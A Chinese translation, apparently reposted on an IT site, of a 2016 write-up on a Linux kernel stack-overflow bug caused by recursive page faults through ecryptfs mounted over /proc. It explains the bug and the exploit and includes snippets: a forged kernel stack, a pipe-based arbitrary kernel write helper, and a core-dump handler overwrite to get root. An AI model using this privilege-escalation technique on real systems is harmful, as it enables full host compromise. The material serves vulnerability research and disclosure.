IT技術互動交流平臺

Linux內核中的遞歸漏洞利用

發布日期:2016-06-30 22:25:39

背景知識

Linux系統中,用戶態的棧空間通常大約是8MB。如果有程序發生了棧溢出的話(比如無限遞歸),棧所在的內存保護頁一般會捕捉到。

Linux內核棧(可以用來處理系統調用)和用戶態的棧很不一樣。內核棧相對來說更短:32位x86架構平臺為4096byte , 64位系統則有16384byte(內核棧大小由THREAD_SIZE_ORDER 和 THREAD_SIZE 確定)。它們是由內核的伙伴內存分配器分配,伙伴內存分配器是內核常用來分配頁大小(以及頁大小倍數)內存的分配器,它不創建內存保護頁。也就是說,如果內核棧溢出的話,它將直接覆蓋正常的數據。正因如此,內核代碼必須(通常也是)在棧上分配大內存的時候非常小心,并且必須阻止過多的遞歸。

Linux上的大多數文件系統既不用底層設備(偽文件系統,比如sysfs, procfs, tmpfs等),也不用塊設備(一般是硬盤上的一塊)作為備用存儲設備。然而, ecryptfs 和overlayfs是例外。這兩者是堆疊的文件系統,這種文件系統會使用其他文件系統上的文件夾作為備用存儲設備(overlayfs則使用多個不同文件系統上的多個文件作為備用存儲設備)。被用作備用存儲設備的文件系統稱為底層文件系統,其上的文件稱為底層文件。這種層疊文件系統的特點是它或多或少的會訪問底層文件系統,并對訪問的數據做一些修改。 Overlayfs融合多個文件系統,ecryptfs則進行了相應的加密。

層疊文件系統實際上存在潛在風險,因為其訪問虛擬文件系統的函數常會訪問到底層文件系統的函數,相較直接訪問底層文件系統的句柄,這會增大棧空間。考慮這樣一個場景:如果用層疊文件系統作為另外一個層疊系統的備用存儲設備,由于每一層文件系統的堆疊都增大了棧空間,內核棧就會在某些情況下溢出。但是,設置FILESYSTEM_MAX_STACK_DEPTH 限制文件系統的層數,只允許最多兩層層疊文件系統放在非層疊文件系統上,就可以避免這個問題。

在Procfs偽文件系統上,系統中運行的每一個進程都有一個文件夾,每個文件夾包含一些描述該進程的文件。值得注意的是每個進程的“mem”,“ environ”和“cmdline”文件,因為訪問這些文件會同步訪問目標進程的虛擬內存。這些文件顯示了不同的虛擬內存地址范圍:

 

1.“mem”文件顯示了整個虛擬內存地址范圍(需要PTRACE_MODE_ATTACH 權限)

2.“environ”文件顯示了mm->env_start 到mm->env_end的內存范圍(需要PTRACE_MODE_READ權限)

3.“cmdline”文件顯示了mm->arg_start 到mm->arg_end的地址范圍(如果mm->arg_end的前一個字符是null 的話)

如果可以用mmap()函數映射“mem”文件的話(啥意義也沒有,別想太多),就可以映射成如下圖所示的樣子:

 

word-wrap: break-word; word-break: break-all; font-size: 8pt;">

接下來,假設/proc/$pid/mem的映射有一些錯誤,那么在進程C里的內存讀取錯誤,將會導致從進程B中映射的內存出錯,進而導致進程B里出現其它的內存錯誤,進而導致從A進程映射的內存出錯,這就是一個遞歸內存錯誤。

可是,現實中這是不可行的,“mem”,“environ”,“cmdline ”文件只能用VFS函數讀寫,mmap無法使用:

 

staticconst struct file_operations proc_pid_cmdline_ops = {

 .read   = proc_pid_cmdline_read,

 .llseek = generic_file_llseek,

};

[...]

staticconst struct file_operations proc_mem_operations = {

 .llseek  = mem_lseek,

 .read    = mem_read,

 .write   = mem_write,

 .open    = mem_open,

 .release = mem_release,

};

[...]

staticconst struct file_operations proc_environ_operations = {

 .open    = environ_open,

 .read    = environ_read,

 .llseek  = generic_file_llseek,

 .release = mem_release,

};

 

相關ecryptfs文件系統,比較有趣的一個細節在于它支持mmap()。用戶看到的內存映射必須是解密的,而底層文件系統的內存映射是加密的,因而ecryptfs 文件系統不能將mmap()函數直接映射到底層文件系統的mmap()函數上。Ecrypt 文件系統在內存映射時使用了自己的頁緩存。

ecryptfs文件系統處理頁錯誤的時候,必須以某種方式讀取底層文件系統上加密的頁。這可以通過讀取底層文件文件系統的頁緩存(使用底層文件系統的mmap函數)來實現,但是這樣比較消耗內存。于是它直接使用底層文件系統的 VFS讀取函數(通過kernel_read()),這樣做更加直接有效,但是這個做法有副作用,就是有可能會mmap() 到通常不能映射的解密后的文件(因為只要底層文件有讀權限并且包含合法的加密數據, ecryptfs文件系統的mmap函數就能工作)。

漏洞分析

在此,我們就能描繪完整的攻擊方式了。首先創建一個進程A,進程號為$A。然后創建一個ecrypptfs 掛載/tmp/$A,使/proc/$A作為它的底層文件系統(ecryptfs 應該只有一個 key,這樣文件名才不會被加密)。現在,如果/proc/$A下相應的文件有合法的ecryptfs 文件頭的話,那么 /tmp/$A/mem, /tmp/$A/environ 和 /tmp/$A/cmdline就可以被映射。除非有 root 權限,否則無法將內存映射到進程 A的0×0處,也就是 /proc/$A/mem 的開頭。因此從開始讀取 /proc/$/A 總是會返回-EIO,而且 /proc/$A/mem 不會有一個合法的 ecryptfs 文件頭。如此,environ 和 cmdline 文件才有攻擊的可能性。

在使用CONFIG_CHECKPOINT_RESTORE編譯的內核(至少是Ubuntu的 distro 內核)中,非特權用戶可以通過prctl(PR_SET_MM, PR_SET_MM_MAP, &mm_map,sizeof(mm_map), 0)設置mm_struct 中的 arg_start, arg_end, env_start 和 env_end值。這使得映射 /proc/$A/environ 和 /proc/$A/cmdline到任意虛擬內存范圍成為可能。(不支持checkpoint-restore的內核中,攻擊過程就稍微有點麻煩,但使用所需的參數區域和環境變量的長度重新執行,然后取代部分棧空間的映射,還是有可能的。)

如果一個有效加密的ecryptfs文件被加載到進程A的內存中,并且它的環境變量也被配置為指向這塊區域,那么環境變量區域里的解密形式的數據就可以在 /tmp/$A/environ文件中獲取。這個文件也可以被映射到進程B的內存中。為了能夠重復該進程,某些數據需要反復加密,進而創建一個加密的matroska 文件,并將這個文件加載到進程 A的內存中。這樣一來,映射互相進程解密環境變量區域的進程鏈就建立起來了:

 

 

 

 

 

如果映射到進程C和進程B的內存相應范圍內沒有數據,進程C 中的內存錯誤(這個內存錯誤可能是用戶空間產生也可能是由于用戶空間訪問內核空間,比如通過copy_from_user()函數)將會導致ecryptfs讀取 /proc/$B/environ ,進而導致進程B中的內存錯誤,接下來導致ecryptfs讀取 /proc/$A/environ ,最后導致進程A中的進程錯誤。如此循環往復,最終溢出內核棧,使內核崩潰。內核棧如下:

 

[...]

[<ffffffff811bfb5b>]handle_mm_fault+0xf8b/0x1820

[<ffffffff811bac05>]__get_user_pages+0x135/0x620

[<ffffffff811bb4f2>]get_user_pages+0x52/0x60

[<ffffffff811bba06>]__access_remote_vm+0xe6/0x2d0

[<ffffffff811e084c>]? alloc_pages_current+0x8c/0x110

[<ffffffff811c1ebf>]access_remote_vm+0x1f/0x30

[<ffffffff8127a892>]environ_read+0x122/0x1a0

[<ffffffff8133ca80>]? security_file_permission+0xa0/0xc0

[<ffffffff8120c1a8>]__vfs_read+0x18/0x40

[<ffffffff8120c776>]vfs_read+0x86/0x130

[<ffffffff812126b0>]kernel_read+0x50/0x80

[<ffffffff81304d53>]ecryptfs_read_lower+0x23/0x30

[<ffffffff81305df2>]ecryptfs_decrypt_page+0x82/0x130

[<ffffffff813040fd>]ecryptfs_readpage+0xcd/0x110

[<ffffffff8118f99b>]filemap_fault+0x23b/0x3f0

[<ffffffff811bc120>]__do_fault+0x50/0xe0

[<ffffffff811bfb5b>]handle_mm_fault+0xf8b/0x1820

[<ffffffff811bac05>]__get_user_pages+0x135/0x620

[<ffffffff811bb4f2>]get_user_pages+0x52/0x60

[<ffffffff811bba06>]__access_remote_vm+0xe6/0x2d0

[<ffffffff811e084c>]? alloc_pages_current+0x8c/0x110

[<ffffffff811c1ebf>]access_remote_vm+0x1f/0x30

[<ffffffff8127a892>]environ_read+0x122/0x1a0

[...]

 

關于這個漏洞的可利用性:利用該漏洞,需要能夠掛載/proc/$pid為ecryptfs文件系統。安裝完ecryptfs-utils包之后(如果安裝Ubuntu時選擇了home目錄加密, Ubuntu 會自動安裝),使用 /sbin/mount.ecryptfs_私有的setuid輔助函數就可以做到這一點。

漏洞利用

接下來的描述是平臺相關的,這里指amd64。

以前要利用這一類漏洞還是相當簡單的,可以直接覆蓋棧底的thread_info結構體,用合適的數值重寫restart_block或者 addr_limit,然后根據所用方式,選擇執行用戶空間映射的代碼,還是用copy_from_user() 和 copy_to_user() 直接讀寫內核數據。

但是,restart_block已經從thread_info結構體中移除,并且由于棧溢出觸發時棧中有 kernel_read() 的棧幀,所以addr_limit已經是KERNEL_DS,而且函數退出時將會重置成 USER_DS 。另外, Ubuntu 16.04以后的內核都打開了CONFIG_SCHED_STACHK_END_CHECK 內核配置選項。打開這個選項以后,每次調度到這個線程時, thread_info 結構體上方的金絲雀值都會被檢查;如果金絲雀值不正確的話,內核遞歸就會出錯然后崩潰。

由于thread_info結構體中很難照到有價值的攻擊目標(同時移除thread_info中的數據并非有效的緩解措施),我就選擇了其它方式:溢出棧到棧之前的空間,然后利用棧和其它內存空間之間會重合這一點。這種方式的問題就是一定要保證金絲雀值和 thread_info結構中的其它成員不被覆蓋。棧溢出的內存布局如下所示(綠色表示可以覆蓋,紅色表示不能覆蓋,黃色表示覆蓋后可能會有問題):

 

 

 

 

 

 

 

 

幸運的是,有些棧幀中存在空洞(如果遞歸的最底部采用cmdline而不是environ),遞歸的過程中就會有一個5個QWORD空洞沒有被訪問到。這些空洞足夠用來存放從SRACK_END_MAIC到flags的所有數據。這一點可以通過一個安全遞歸和一個內核調試模塊來實現,這個內核調試模塊將棧中的所有空洞標綠便于觀察:

 

 

 

 

 

 

 

 

接下來的問題是空洞只會出現在特定的位置,而漏洞利用就需要空洞在準確的位置出現。下面有一些技巧可以用來對齊棧空間:

 

1.在每個遞歸層上都可以選擇“environ”文件或者“cmdline”文件,它們的棧幀大小和空洞模式都不一樣。

2.任何調用copy_from_user()都會導致內存錯誤。甚至可以將寫入系統調用和VFS寫入句柄結合起來,所以每一個寫入系統調用和 VFS寫入句柄都會影響深度(合并深度可以計算出來,而不用測試每個變量)。

在測試了各種組合之后,我找到一組environ文件和cmdline文件, 還有write ()系統調用和進程的VFS寫句柄的組合。

隨后,就可以遞歸到之前分配的空間,而不會覆蓋任何危險數據了。然后暫停內核線程的執行,此時棧指針指向之前分配的內存空間,這些內存空間應該用新的棧來覆蓋,然后繼續內核線程的執行。

為了暫停遞歸中內核線程的執行,在建立起映射鏈后,映射鏈最后的annonymous映射可以用FUSE映射取代( userfaultfd 函數并不適用,它不能捕捉遠程的內存訪問)。

對于先前分配的內存,我的exp使用管道(Pipes)。當寫入數據到新分配的空管道時,伙伴內存分配器會分配一個內存頁,來存放這些數據。我的exp通過管道內存頁分配來填充大量內存,所以使用clone()創建新進程時就會觸發內存錯誤。這里使用clone() 而非fork(),因為調用clone()時只要控制好參數,系統就會復制較少的信息,可以減少內存分配的干擾。 Clone( ) 函數調用過程中,所有的管道內存頁都被填充滿,除了第一次保存的 RIP值——遞歸進程暫停在FUSE中時,它保存在期望的 RSP 值之后。寫入較少的數據就能致使第二個管道寫入目標棧數據,這些數據在 RIP控制實現之前就被使用,可能會導致內核崩潰。隨后,遞歸進程在FUSE 中暫停時,第二次向所有管道寫入數據,會覆蓋保存的 RIP值和其后的數據,攻擊者也就能夠完全控制全新的棧了。

 

 

 

 

此時,最后一道防線就是KASLR了。Ubuntu支持KASLR ,只不過KASLR需要手動開啟。這個b最近該BUG已經修復了,現在distros內核應該是默認就開啟KASLR的。雖說這項安全特性幫不上太大的忙,但畢竟KASLR不需要占用太多資源,開啟這項特性就顯得相當理所當然了。由于大多數的設備并不支持向內核命令行傳輸特殊參數,所以這里假設KASLR雖然編譯進了內核,但仍處于未激活狀態,攻擊者也知道內核代碼和靜態數據的地址。

然后就可以用ROP在內核里做各種事情了,漏洞利用具體有兩個方向可以繼續。可以使用ROP進行 commit_creds 類似操作。不過我用了另一個方法。在棧溢出過程中,原來addr_limit的KERNEL_DS 值保存了起來。棧一次次返回,最終將會把 addr_limit 重置為USER_DS。但如果我們直接返回到用戶空間, addr_limit 將保持 KERNEL_DS 。所以我這樣構造新棧,或多或少復制了棧頂的數據:

 

unsigned longnew_stack[] = {

 0xffffffff818252f2,/* return pointer of syscall handler */

 /* 16 uselessregisters */

 0x1515151515151515,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

 (unsignedlong) post_corruption_user_code, /* user RIP */

 0x33, /* userCS */

 0x246, /*EFLAGS: most importantly, turn interrupts on */

 /* user RSP*/

 (unsignedlong) (post_corruption_user_stack + sizeof(post_corruption_user_stack)),

 0x2b /* userSS */

};

 

殺掉FUSE服務進程后,遞歸進程繼續運行到post_corruption_user_code函數上。這個函數可以使用管道向任意內核地址寫數據,因為 copy_to_user()中的地址檢查已經失效。

 

voidkernel_write(unsigned long addr, char *buf, size_t len) {

  int pipefds[2];

  if (pipe(pipefds))

    err(1, 'pipe');

  if (write(pipefds[1], buf, len) != len)

    errx(1, 'pipe write');

  close(pipefds[1]);

  if (read(pipefds[0], (char*)addr, len) !=len)

    errx(1, 'pipe read tokernelspace');

  close(pipefds[0]);

}

 

現在你就可以在用戶態舒服地執行任意讀寫操作了。如果你想要root shell,可以覆蓋coredump函數,它存儲在一個靜態變量里,然后觸發一個 SIGSEGV,就可以以root權限執行coredump函數:

 

 char*core_handler = '|/tmp/crash_to_root';

 kernel_write(0xffffffff81e87a60,core_handler, strlen(core_handler)+1);

 

漏洞修復

有兩個獨立的補丁可用于修復該BUG:其中,2f36db710093 禁止通過ecryptfs打開沒有mmap函數的文件,

Tag標簽: 遞歸   內核   漏洞  
  • 專題推薦

About IT165 - 廣告服務 - 隱私聲明 - 版權申明 - 免責條款 - 網站地圖 - 網友投稿 - 聯系方式
本站內容來自于互聯網,僅供用于網絡技術學習,學習中請遵循相關法律法規
彩票联盟网站 康马县| 都江堰市|